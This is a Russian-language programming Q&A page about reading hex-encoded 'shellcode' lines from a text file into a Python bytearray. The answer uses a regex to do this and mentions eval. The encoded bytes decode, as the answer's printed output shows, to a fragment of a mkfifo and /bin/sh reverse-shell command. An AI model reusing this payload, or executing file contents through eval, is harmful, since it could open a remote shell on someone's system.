Я хочу выполнить строки текстового файла, как если бы они были частью моего python скрипта - PullRequest
0 голосов
/ 17 марта 2020

У меня есть текстовый файл, содержащий шелл-код, который выглядит следующим образом:

buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e" 

, и я хочу автоматически использовать этот шелл-код и связать его с переменной в моем скрипте python, чтобы использовать его. Я написал скрипт, похожий на этот

myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf =  b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)

, чтобы прочитать содержимое файла, удалить из него ненужные символы и оставить только необработанный шелл-код, который мне нужен, и преобразовать его в байты.

Я также пробовал с байтами, bytearray, buf += b"%s"% (a)

, поэтому всякий раз, когда я печатаю buf, он выводит шелл-код как есть, но когда я копирую содержимое shellcode.txt и вставляю его в сценарий python и print (buf) он печатает декодированную версию шелл-кода.

поэтому, если этот метод не работает, могу ли я прочитать файл и выполнить каждую его строку, как если бы он был часть сценария?

1 Ответ

0 голосов
/ 17 марта 2020

Вот предложение использовать регулярные выражения для извлечения байтовых значений. regex101 - очень хорошее место, чтобы поиграть с регулярными выражениями и отладить их.

import re

BYTE_REGEX = r"\\x([\w|\d]{2})" # extract bytes from string, without leading `\x`
# regex101.com is very good reference to analyse regex patterns

# retrieve text
with open('shellcode.txt', 'r') as f:
    file_text = f.read()

buf_list = []
for byte in re.findall(BYTE_REGEX, file_text):
    # scan string and treat all bytes one by one
    buf_list.append(int(byte, base=16))

result = bytearray(buf_list)

print(result)
# mkfifo /tmp/s55 0</tmp/sakn | /bin/sh >

Есть также механизмы для выполнения python кода, заданного в виде текста, см. eval .

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...